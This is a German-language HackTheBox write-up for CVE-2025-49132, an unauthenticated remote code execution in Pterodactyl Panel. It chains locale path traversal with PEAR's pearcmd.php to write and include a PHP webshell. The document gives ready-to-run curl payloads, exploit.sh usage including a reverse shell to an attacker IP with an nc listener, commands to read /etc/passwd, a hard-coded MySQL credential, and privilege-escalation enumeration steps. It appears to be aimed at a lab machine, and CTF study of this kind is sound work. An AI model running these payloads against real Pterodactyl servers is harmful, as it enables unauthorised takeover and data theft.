CVE-2025-49132 - Pterodactyl Panel RCE Exploit

HTB Season 10 - Pterodactyl Machine Writeup

Überblick

Ziel: Pterodactyl HTB Maschine (Mittlerer Schwierigkeitsgrad)
CVE: CVE-2025-49132
Schweregrad: Kritisch (CVSS 9.8)
Angriffstyp: Nicht authentifizierte Remote-Codeausführung
Betroffen: Pterodactyl Panel < v1.11.11

Diese Exploit-Kette kombiniert:

1. Path Traversal im Locale-Übersetzungssystem
2. PEAR-Befehlseinschleusung über pearcmd.php
3. PHP-Codeausführung durch Dateischreiben + Einbinden

Der Fehler

Der /locales/locale.json-Endpunkt des Pterodactyl Panels erlaubt Pfad-Traversal über den locale-Parameter:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Dies kann mit PEARs pearcmd.php verkettet werden, um:

1. Beliebige PHP-Dateien nach /tmp zu schreiben
2. Sie über eine weitere Anfrage auszuführen

Warum es funktioniert

PEAR (PHP Extension and Application Repository) hat ein CLI-Tool (pearcmd.php), das:

• Befehle über URL-Parameter akzeptiert (nur für CLI vorgesehen)
• Einen config-create-Befehl hat, der Dateien schreibt
• Keine Authentifizierung hat, wenn es über das Web aufgerufen wird

Die Exploit-Kette: Path Traversal → pearcmd.php laden → PHP über config-create einschleusen → schädliches PHP ausführen

Der Hex2bin()-Trick

Befehle werden mit hex2bin() hex-kodiert, um Folgendes zu umgehen:

• Probleme mit URL-Kodierung
• Filter für Sonderzeichen
• Nginx/PHP-Parsing-Probleme

Beispiel:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Remote-Codeausführung

Methode 1: Verwendung der bereitgestellten exploit.sh

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

Methode 2: Manuelle Ausnutzung

# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Methode 3: Python-Skript

I added exploit.py
**Install requests**

🛠️ Bereitgestellte Tools

1. exploit.sh (Empfohlen)

Vollwertiger Bash-Exploit

./exploit.sh cmd "whoami"           # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag                   # Find user flag

Funktionen:

• Hex2bin()-Kodierung für Zuverlässigkeit
• Python-basierte Ausgabefilterung
• Mehrere Shell-Methoden (bash TCP + mkfifo)
• Saubere, geparste Ausgabe

2. CVE-2025-49132_DETAILED.txt

Umfassende technische Dokumentation

Enthält:

• Tiefergehende Analyse der Schwachstelle
• Erklärung der PEAR-Architektur
• Schritt-für-Schritt-Exploit-Aufschlüsselung
• Fehlerbehebungsanleitung
• Erkennungsmethoden (IOCs)
• Abhilfemaßnahmen

Schnellstart

# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Get shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Get user flag
cat /home/phileasfogg3/user.txt

Privilegieneskalation

Aufzählung

# Check running services
ss -tlnp

# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Check sudo
sudo -l
# (Likely requires password)

# SUID binaries
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Häufige PrivEsc-Vektoren

1. MySQL mit bekannten Anmeldeinformationen

mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms

2. PHP-FPM ausgeführt als root

# Check for FPM exploitation (CVE-2019-11043 or config abuse)

3. Redis-Ausnutzung

# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1

4. Überprüfung auf beschreibbare Skripte in Cron

find /etc/cron* -writable 2>/dev/null

5. Kernel-Exploits (letzter Ausweg)

uname -a
# Check for DirtyCow, etc.

Referenzen

CVE & Exploits

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Technische Ressourcen

• Pterodactyl Panel-Dokumentation
• PEAR-Dokumentation
• OWASP Path Traversal